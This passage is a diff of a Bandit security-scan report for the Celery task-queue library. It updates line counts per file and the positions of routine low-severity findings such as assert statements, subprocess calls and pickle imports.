-143,7 +143,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 383, + "loc": 607, "nosec": 0 }, "celery/app/defaults.py": { @@ -155,7 +155,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 365, + "loc": 361, "nosec": 0 }, "celery/app/events.py": { @@ -179,7 +179,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 197, + "loc": 198, "nosec": 0 }, "celery/app/registry.py": { @@ -203,7 +203,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 110, + "loc": 107, "nosec": 0 }, "celery/app/task.py": { @@ -215,7 +215,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 740, + "loc": 779, "nosec": 0 }, "celery/app/trace.py": { @@ -227,7 +227,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 535, + "loc": 560, "nosec": 0 }, "celery/app/utils.py": { @@ -239,7 +239,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 300, + "loc": 315, "nosec": 0 }, "celery/apps/__init__.py": { @@ -275,7 +275,7 @@ "SEVERITY.LOW": 2.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 409, + "loc": 426, "nosec": 0 }, "celery/apps/worker.py": { @@ -287,7 +287,7 @@ "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 291, + "loc": 304, "nosec": 0 }, "celery/backends/__init__.py": { @@ -299,19 +299,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 17, - "nosec": 0 - }, - "celery/backends/amqp.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 265, + "loc": 1, "nosec": 0 }, "celery/backends/arangodb.py": { @@ -323,7 +311,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 199, + "loc": 201, "nosec": 0 }, "celery/backends/asynchronous.py": { @@ -347,7 +335,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 107, + "loc": 126, "nosec": 0 }, "celery/backends/base.py": { @@ -359,7 +347,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 773, + "loc": 809, "nosec": 0 }, "celery/backends/cache.py": { @@ -371,7 +359,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 117, + "loc": 118, "nosec": 0 }, "celery/backends/cassandra.py": { @@ -383,7 +371,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 178, + "loc": 174, "nosec": 0 }, "celery/backends/consul.py": { @@ -395,7 +383,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 74, + "loc": 79, "nosec": 0 }, "celery/backends/cosmosdbsql.py": { @@ -419,7 +407,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 85, + "loc": 79, "nosec": 0 }, "celery/backends/couchdb.py": { @@ -431,7 +419,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 76, + "loc": 77, "nosec": 0 }, "celery/backends/database/__init__.py": { @@ -467,7 +455,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 47, + "loc": 68, "nosec": 0 }, "celery/backends/dynamodb.py": { @@ -503,7 +491,7 @@ "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 76, + "loc": 89, "nosec": 0 }, "celery/backends/mongodb.py": { @@ -515,7 +503,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 241, + "loc": 243, "nosec": 0 }, "celery/backends/redis.py": { @@ -527,19 +515,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 448, - "nosec": 0 - }, - "celery/backends/riak.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 105, + "loc": 499, "nosec": 0 }, "celery/backends/rpc.py": { @@ -563,19 +539,19 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 65, + "loc": 66, "nosec": 0 }, "celery/beat.py": { - "CONFIDENCE.HIGH": 0.0, + "CONFIDENCE.HIGH": 1.0, "CONFIDENCE.LOW": 0.0, "CONFIDENCE.MEDIUM": 0.0, "CONFIDENCE.UNDEFINED": 0.0, "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, + "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 553, + "loc": 567, "nosec": 0 }, "celery/bin/__init__.py": { @@ -599,7 +575,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 268, + "loc": 274, "nosec": 0 }, "celery/bin/base.py": { @@ -611,7 +587,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 180, + "loc": 219, "nosec": 0 }, "celery/bin/beat.py": { @@ -623,7 +599,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 58, + "loc": 63, "nosec": 0 }, "celery/bin/call.py": { @@ -635,7 +611,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 66, + "loc": 69, "nosec": 0 }, "celery/bin/celery.py": { @@ -647,7 +623,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 127, + "loc": 176, "nosec": 0 }, "celery/bin/control.py": { @@ -659,7 +635,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 164, + "loc": 181, "nosec": 0 }, "celery/bin/events.py": { @@ -671,7 +647,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 76, + "loc": 79, "nosec": 0 }, "celery/bin/graph.py": { @@ -683,7 +659,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 157, + "loc": 162, "nosec": 0 }, "celery/bin/list.py": { @@ -695,7 +671,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 25, + "loc": 28, "nosec": 0 }, "celery/bin/logtool.py": { @@ -707,7 +683,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 122, + "loc": 125, "nosec": 0 }, "celery/bin/migrate.py": { @@ -719,7 +695,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 54, + "loc": 57, "nosec": 0 }, "celery/bin/multi.py": { @@ -731,7 +707,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 372, + "loc": 375, "nosec": 0 }, "celery/bin/purge.py": { @@ -743,7 +719,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 55, + "loc": 60, "nosec": 0 }, "celery/bin/result.py": { @@ -755,7 +731,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 22, + "loc": 25, "nosec": 0 }, "celery/bin/shell.py": { @@ -767,7 +743,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 143, + "loc": 144, "nosec": 0 }, "celery/bin/upgrade.py": { @@ -779,7 +755,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 69, + "loc": 74, "nosec": 0 }, "celery/bin/worker.py": { @@ -791,7 +767,7 @@ "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 300, + "loc": 306, "nosec": 0 }, "celery/bootsteps.py": { @@ -815,7 +791,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 1113, + "loc": 1143, "nosec": 0 }, "celery/concurrency/__init__.py": { @@ -827,7 +803,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 19, + "loc": 22, "nosec": 0 }, "celery/concurrency/asynpool.py": { @@ -863,7 +839,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 114, + "loc": 145, "nosec": 0 }, "celery/concurrency/gevent.py": { @@ -887,7 +863,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 131, + "loc": 132, "nosec": 0 }, "celery/concurrency/solo.py": { @@ -911,7 +887,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 33, + "loc": 30, "nosec": 0 }, "celery/contrib/__init__.py": { @@ -959,7 +935,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 146, + "loc": 153, "nosec": 0 }, "celery/contrib/rdb.py": { @@ -1019,7 +995,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 175, + "loc": 176, "nosec": 0 }, "celery/contrib/testing/mocks.py": { @@ -1055,7 +1031,7 @@ "SEVERITY.LOW": 2.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 130, + "loc": 141, "nosec": 0 }, "celery/events/__init__.py": { @@ -1139,7 +1115,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 87, + "loc": 88, "nosec": 0 }, "celery/events/state.py": { @@ -1151,7 +1127,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 569, + "loc": 570, "nosec": 0 }, "celery/exceptions.py": { @@ -1163,19 +1139,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 186, - "nosec": 0 - }, - "celery/five.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 4, + "loc": 196, "nosec": 0 }, "celery/fixups/__init__.py": { @@ -1235,7 +1199,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 202, + "loc": 204, "nosec": 0 }, "celery/loaders/default.py": { @@ -1259,7 +1223,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 426, + "loc": 404, "nosec": 0 }, "celery/platforms.py": { @@ -1271,7 +1235,7 @@ "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 623, + "loc": 631, "nosec": 0 }, "celery/result.py": { @@ -1283,7 +1247,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 866, + "loc": 843, "nosec": 0 }, "celery/schedules.py": { @@ -1382,30 +1346,6 @@ "loc": 95, "nosec": 0 }, - "celery/task/__init__.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 39, - "nosec": 0 - }, - "celery/task/base.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 184, - "nosec": 0 - }, "celery/utils/__init__.py": { "CONFIDENCE.HIGH": 0.0, "CONFIDENCE.LOW": 0.0, @@ -1439,7 +1379,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 611, + "loc": 595, "nosec": 0 }, "celery/utils/debug.py": { @@ -1490,18 +1430,6 @@ "loc": 262, "nosec": 0 }, - "celery/utils/encoding.py": { - "CONFIDENCE.HIGH": 0.0, - "CONFIDENCE.LOW": 0.0, - "CONFIDENCE.MEDIUM": 0.0, - "CONFIDENCE.UNDEFINED": 0.0, - "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, - "SEVERITY.MEDIUM": 0.0, - "SEVERITY.UNDEFINED": 0.0, - "loc": 5, - "nosec": 0 - }, "celery/utils/functional.py": { "CONFIDENCE.HIGH": 1.0, "CONFIDENCE.LOW": 0.0, @@ -1511,7 +1439,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 1.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 261, + "loc": 290, "nosec": 0 }, "celery/utils/graph.py": { @@ -1535,7 +1463,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 122, + "loc": 115, "nosec": 0 }, "celery/utils/iso8601.py": { @@ -1559,7 +1487,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 210, + "loc": 215, "nosec": 0 }, "celery/utils/nodenames.py": { @@ -1595,7 +1523,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 188, + "loc": 190, "nosec": 0 }, "celery/utils/serialization.py": { @@ -1607,7 +1535,7 @@ "SEVERITY.LOW": 4.0, "SEVERITY.MEDIUM": 1.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 210, + "loc": 209, "nosec": 0 }, "celery/utils/static/__init__.py": { @@ -1655,7 +1583,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 135, + "loc": 136, "nosec": 0 }, "celery/utils/threads.py": { @@ -1775,7 +1703,7 @@ "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 470, + "loc": 493, "nosec": 0 }, "celery/worker/consumer/control.py": { @@ -1859,7 +1787,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 423, + "loc": 424, "nosec": 0 }, "celery/worker/heartbeat.py": { @@ -1883,7 +1811,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 79, + "loc": 92, "nosec": 0 }, "celery/worker/pidbox.py": { @@ -1907,19 +1835,19 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 536, + "loc": 578, "nosec": 0 }, "celery/worker/state.py": { - "CONFIDENCE.HIGH": 0.0, + "CONFIDENCE.HIGH": 1.0, "CONFIDENCE.LOW": 0.0, "CONFIDENCE.MEDIUM": 0.0, "CONFIDENCE.UNDEFINED": 0.0, "SEVERITY.HIGH": 0.0, - "SEVERITY.LOW": 0.0, + "SEVERITY.LOW": 1.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 200, + "loc": 208, "nosec": 0 }, "celery/worker/strategy.py": { @@ -1931,7 +1859,7 @@ "SEVERITY.LOW": 0.0, "SEVERITY.MEDIUM": 0.0, "SEVERITY.UNDEFINED": 0.0, - "loc": 166, + "loc": 175, "nosec": 0 }, "celery/worker/worker.py": { @@ -1963,353 +1891,369 @@ "test_name": "blacklist" }, { - "code": "196 maybe_call(on_spawn, self, argstr=' '.join(argstr), env=env)\n197 pipe = Popen(argstr, env=env)\n198 return self.handle_process_exit(\n", + "code": "216 maybe_call(on_spawn, self, argstr=' '.join(argstr), env=env)\n217 pipe = Popen(argstr, env=env)\n218 return self.handle_process_exit(\n", "filename": "celery/apps/multi.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "subprocess call - check for execution of untrusted input.", - "line_number": 197, + "line_number": 217, "line_range": [ - 197 + 217 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b603_subprocess_without_shell_equals_true.html", "test_id": "B603", "test_name": "subprocess_without_shell_equals_true" }, { - "code": "322 ])\n323 os.execv(sys.executable, [sys.executable] + sys.argv)\n324 \n", + "code": "341 ])\n342 os.execv(sys.executable, [sys.executable] + sys.argv)\n343 \n", "filename": "celery/apps/worker.py", "issue_confidence": "MEDIUM", "issue_severity": "LOW", "issue_text": "Starting a process without a shell.", - "line_number": 323, + "line_number": 342, "line_range": [ - 323 + 342 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b606_start_process_with_no_shell.html", "test_id": "B606", "test_name": "start_process_with_no_shell" }, { - "code": "74 self.set(key, b'test value')\n75 assert self.get(key) == b'test value'\n76 self.delete(key)\n", + "code": "72 self.set(key, b'test value')\n73 assert self.get(key) == b'test value'\n74 self.delete(key)\n", "filename": "celery/backends/filesystem.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 75, + "line_number": 73, "line_range": [ - 75 + 73 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "89 path = executable\n90 os.execv(path, [path] + argv)\n91 except Exception: # pylint: disable=broad-except\n", + "code": "6 import os\n7 import shelve\n8 import sys\n", + "filename": "celery/beat.py", + "issue_confidence": "HIGH", + "issue_severity": "LOW", + "issue_text": "Consider possible security implications associated with shelve module.", + "line_number": 7, + "line_range": [ + 7 + ], + "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle", + "test_id": "B403", + "test_name": "blacklist" + }, + { + "code": "124 path = executable\n125 os.execv(path, [path] + argv)\n126 return EX_OK\n", "filename": "celery/bin/worker.py", "issue_confidence": "MEDIUM", "issue_severity": "LOW", "issue_text": "Starting a process without a shell.", - "line_number": 90, + "line_number": 125, "line_range": [ - 90 + 125 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b606_start_process_with_no_shell.html", "test_id": "B606", "test_name": "start_process_with_no_shell" }, { - "code": "23 from numbers import Integral\n24 from pickle import HIGHEST_PROTOCOL\n25 from time import sleep\n", + "code": "22 from numbers import Integral\n23 from pickle import HIGHEST_PROTOCOL\n24 from struct import pack, unpack, unpack_from\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Consider possible security implications associated with HIGHEST_PROTOCOL module.", - "line_number": 24, + "line_number": 23, "line_range": [ - 24 + 23 ], "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle", "test_id": "B403", "test_name": "blacklist" }, { - "code": "613 proc in waiting_to_start):\n614 assert proc.outqR_fd in fileno_to_outq\n615 assert fileno_to_outq[proc.outqR_fd] is proc\n", + "code": "607 proc in waiting_to_start):\n608 assert proc.outqR_fd in fileno_to_outq\n609 assert fileno_to_outq[proc.outqR_fd] is proc\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 614, + "line_number": 608, "line_range": [ - 614 + 608 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "614 assert proc.outqR_fd in fileno_to_outq\n615 assert fileno_to_outq[proc.outqR_fd] is proc\n616 assert proc.outqR_fd in hub.readers\n", + "code": "608 assert proc.outqR_fd in fileno_to_outq\n609 assert fileno_to_outq[proc.outqR_fd] is proc\n610 assert proc.outqR_fd in hub.readers\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 615, + "line_number": 609, "line_range": [ - 615 + 609 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "615 assert fileno_to_outq[proc.outqR_fd] is proc\n616 assert proc.outqR_fd in hub.readers\n617 error('Timed out waiting for UP message from %r', proc)\n", + "code": "609 assert fileno_to_outq[proc.outqR_fd] is proc\n610 assert proc.outqR_fd in hub.readers\n611 error('Timed out waiting for UP message from %r', proc)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 616, + "line_number": 610, "line_range": [ - 616 + 610 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "636 \n637 assert not isblocking(proc.outq._reader)\n638 \n639 # handle_result_event is called when the processes outqueue is\n640 # readable.\n641 add_reader(proc.outqR_fd, handle_result_event, proc.outqR_fd)\n", + "code": "630 \n631 assert not isblocking(proc.outq._reader)\n632 \n633 # handle_result_event is called when the processes outqueue is\n634 # readable.\n635 add_reader(proc.outqR_fd, handle_result_event, proc.outqR_fd)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 637, + "line_number": 631, "line_range": [ - 637, - 638, - 639, - 640 + 631, + 632, + 633, + 634 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1090 synq = None\n1091 assert isblocking(inq._reader)\n1092 assert not isblocking(inq._writer)\n", + "code": "1088 synq = None\n1089 assert isblocking(inq._reader)\n1090 assert not isblocking(inq._writer)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1091, + "line_number": 1089, "line_range": [ - 1091 + 1089 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1091 assert isblocking(inq._reader)\n1092 assert not isblocking(inq._writer)\n1093 assert not isblocking(outq._reader)\n", + "code": "1089 assert isblocking(inq._reader)\n1090 assert not isblocking(inq._writer)\n1091 assert not isblocking(outq._reader)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1092, + "line_number": 1090, "line_range": [ - 1092 + 1090 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1092 assert not isblocking(inq._writer)\n1093 assert not isblocking(outq._reader)\n1094 assert isblocking(outq._writer)\n", + "code": "1090 assert not isblocking(inq._writer)\n1091 assert not isblocking(outq._reader)\n1092 assert isblocking(outq._writer)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1093, + "line_number": 1091, "line_range": [ - 1093 + 1091 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1093 assert not isblocking(outq._reader)\n1094 assert isblocking(outq._writer)\n1095 if self.synack:\n", + "code": "1091 assert not isblocking(outq._reader)\n1092 assert isblocking(outq._writer)\n1093 if self.synack:\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1094, + "line_number": 1092, "line_range": [ - 1094 + 1092 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1096 synq = _SimpleQueue(wnonblock=True)\n1097 assert isblocking(synq._reader)\n1098 assert not isblocking(synq._writer)\n", + "code": "1094 synq = _SimpleQueue(wnonblock=True)\n1095 assert isblocking(synq._reader)\n1096 assert not isblocking(synq._writer)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1097, + "line_number": 1095, "line_range": [ - 1097 + 1095 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1097 assert isblocking(synq._reader)\n1098 assert not isblocking(synq._writer)\n1099 return inq, outq, synq\n", + "code": "1095 assert isblocking(synq._reader)\n1096 assert not isblocking(synq._writer)\n1097 return inq, outq, synq\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1098, + "line_number": 1096, "line_range": [ - 1098 + 1096 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1109 return logger.warning('process with pid=%s already exited', pid)\n1110 assert proc.inqW_fd not in self._fileno_to_inq\n1111 assert proc.inqW_fd not in self._all_inqueues\n", + "code": "1107 return logger.warning('process with pid=%s already exited', pid)\n1108 assert proc.inqW_fd not in self._fileno_to_inq\n1109 assert proc.inqW_fd not in self._all_inqueues\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1110, + "line_number": 1108, "line_range": [ - 1110 + 1108 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1110 assert proc.inqW_fd not in self._fileno_to_inq\n1111 assert proc.inqW_fd not in self._all_inqueues\n1112 self._waiting_to_start.discard(proc)\n", + "code": "1108 assert proc.inqW_fd not in self._fileno_to_inq\n1109 assert proc.inqW_fd not in self._all_inqueues\n1110 self._waiting_to_start.discard(proc)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The 